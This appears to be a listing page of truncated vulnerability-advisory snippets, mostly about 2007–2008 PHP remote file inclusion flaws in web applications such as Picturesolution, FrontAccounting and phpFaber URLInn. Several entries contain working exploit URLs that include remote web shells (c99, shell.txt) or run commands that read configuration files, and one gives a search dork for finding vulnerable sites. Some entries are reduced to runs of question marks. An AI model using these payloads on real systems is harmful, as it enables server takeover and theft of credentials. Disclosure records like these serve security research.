Prozilla Forum Service - 'forum' SQL Injection

--==+================================================================================+==-- --==+ Prozilla Forum Service SQL Injection Vulnerbilitys +==-- --==+================================================================================+==-- Discovered By: t0pP8uZz Discovered On: 7 April 2008...

Kontakt Formular 1.4 Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================== Kontakt Formular 1.4 Remote File Inclusion Vulnerability ======================================================== ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + +...

phpFaber URLInn Config.PHP远程文件包含漏洞

phpFaber URLInn是一款基于PHP的WEB应用程序。 phpFaber URLInn不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'Config.PHP'脚本对用户提交的'dirws'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 phpFaber URLInn 2.0.5 目前没有详细解决方案提供： http://www.phpfaber.com/i/products/urlinn/...

Remote file inclusion

PHP remote file inclusion vulnerability in urlinnincludes/config.php in phpFaber URLInn 2.0.5 allows remote attackers to execute arbitrary PHP code via a URL in the dirws parameter...

CVE-2007-5754

CVE-2007-5754 affects phpFaber URLInn 2.0.5, where a PHP remote file inclusion vulnerability exists in urlinn_includes/config.php. The issue allows an attacker to supply a URL to the dir_ws parameter to execute arbitrary PHP code on the server. This is evidenced by references to exploit-DB and vu...

CaupoShop Pro 2.x - 'action' Remote File Inclusion

ork:allinurl:index.php?action= basket sid vuln:index.php?action= examples: http://www.xxx.com/shop/index.php?action=http://adek.org/o.gif?&cmd=cat%20config.php author:[email protected] site:http://mozi.rootmybox.org support:http://darkc0de.com & whoami milw0rm.com 2007-10-28...

litespeed-disclose.txt

| | |--.-----.| .-----.' |.---.-.----.-----.--| | | | | | -|| -- | -| || | | -| | || |||||/||| |.|||| TheDefaced.org TheDefaced Security Team Presents An 0-day. LiteSpeed Remote Mime Type Injection Discovered by:Tr3mbl3r Shouts to his kitty kats and tacos. Product: LiteSpeed/Discovered in ==3.2.3...

openSUSE 10 Security Update : moodle (moodle-3959)

This update fixes the following issues : - possible remote file inclusion CVE-2007-1429 - XSS injection in SCORM 1.2 reports - Fixed XSS in login block Additionally changes : - Fixed visibility of site blogs - moodle-config.php is now located in /etc/moodle/ - added safemode and session.savehandl...

CVE-2007-5313

CVE-2007-5313 affects Picturesolution 2.1 and earlier. It is a PHP remote file inclusion vulnerability in install/config.php that allows an attacker to execute arbitrary PHP code by supplying a URL in the path parameter. Exploitation details beyond this description are not provided in the connect...

Picturesolution Config.PHP远程文件包含漏洞

Picturesolution是一款基于PHP的WEB应用程序。 Picturesolution不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是由于'Config.PHP'脚本对用户提交的'path'参数缺少过滤，指定远程服务器上的任意文件作为包含对象，可导致以以WEB权限执行任意命令。 Script-solution.de Picturesolution 2.1 目前没有解决方案提供： http://www.script-solution.de/ger-products-1.html...

Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vuln

No description provided by source. Picturesolution = v2.1 config.php path Remote File Inclusion Vulnerabilities Found By : Mogatil , http://www.hackteach.org/cc/ Posted By : Cold z3ro , http://www.hackteach.org/cc/ Exploit : /install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt? Examp...

Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vuln

Exploit for unknown platform in category web applications ==================================================================== Picturesolution = v2.1 config.php path Remote File Inclusion Vuln ==================================================================== Picturesolution = v2.1 config.php...

Picturesolution 2.1 - config.php?path Remote File Inclusion

Picturesolution 2.1 - config.php?path Remote File Inclusion Picturesolution = v2.1 config.php path Remote File Inclusion Vulnerabilities Found By : Mogatil , http://www.hackteach.org/cc/ Posted By : Cold z3ro , http://www.hackteach.org/cc/ Exploit :...

Chupix CMS 0.2.3 - &#039;repertoire&#039; Remote File Inclusion

chupix 0.2.3 /admin/include/header.php RFI f0und by 0in contact: [email protected] Greetings to:Die-angel,Slim,Joker186,Kaja,Artysta,wojto111,reydex team:Our Dark-Coders team; --------------------------------------------------------------------------------------------------------------------...

xcart-rfi.txt

xCart Remote file inclusion Download script : http://www.x-cart.com// Discovered By : aLiiF a.k.a arif @debuteam 07/09/2007 HomePage : http://www.debuteam.net// Thx to : Debu Newbie Payment Yogac nyubi Rozi ^S0ng0ku^ Kuris Sonix Toxicity newbi3 R4yn4ld0 DisJocKey s3ng0k homeedition Holong...

squirrelcart-rfi.txt

Title : Squirrelcart config.php, line 13 - $siteisproot = "blablabla"; Exploit : squirrelcart//popupwindow.php?siteisproot=http://example.com/shell.txt? notes : registerglobals = off is needed it seems...

FrontAccounting 1.12 Build 31 Remote File Inclusion Vulnerability

No description provided by source. ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...

CVE-2007-4279

CVE-2007-4279 describes a PHP remote file inclusion in FrontAccounting 1.12 Build 31, exploitable via a URL in the path_to_root parameter to config.php. Connected records reiterate multiple related RFIs in FrontAccounting 1.12/1.13 across various scripts (e.g., access/logout.php, admin/, language...

FrontAccounting 1.12 build 31 - Remote File Inclusion

?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ????????????????????????????????????? ???????????????????????????????????????...

FrontAccounting 1.12 build 31 - Remote File Inclusion

FrontAccounting 1.12 build 31 - Remote File Inclusion ?????????? ??????????????? ??????????????????? ??????????????????????? ?????????????????????????? ?????????????????????????????? ????????????????????????????????? ??????????????????????????????????? ?????????????????????????????????????...